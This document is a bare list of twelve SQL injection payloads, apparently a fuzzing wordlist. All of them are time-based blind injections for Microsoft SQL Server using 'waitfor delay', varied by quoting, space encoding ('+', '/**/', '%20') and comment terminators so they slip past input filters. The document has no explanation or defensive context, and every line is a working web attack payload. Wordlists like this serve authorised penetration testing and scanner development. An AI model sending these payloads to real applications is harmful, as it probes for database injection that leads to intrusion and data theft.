waitfor delay '0:0:10'--
+waitfor+delay+'0:0:10'--
/**/waitfor/**/delay/**/'0:0:10'--
%20waitfor%20delay%20'0:0:20'--
 waitfor delay '0:0:10'/*
+waitfor+delay+'0:0:10'/*
/**/waitfor/**/delay/**/'0:0:10'/*
%20waitfor%20delay%20'0:0:20'/*
'  waitfor delay '0:0:10'--+
'+waitfor+delay+'0:0:10'--+
'/**/ waitfor/**/delay/**/'0:0:10'--+
'%20waitfor%20delay%20'0:0:20'--+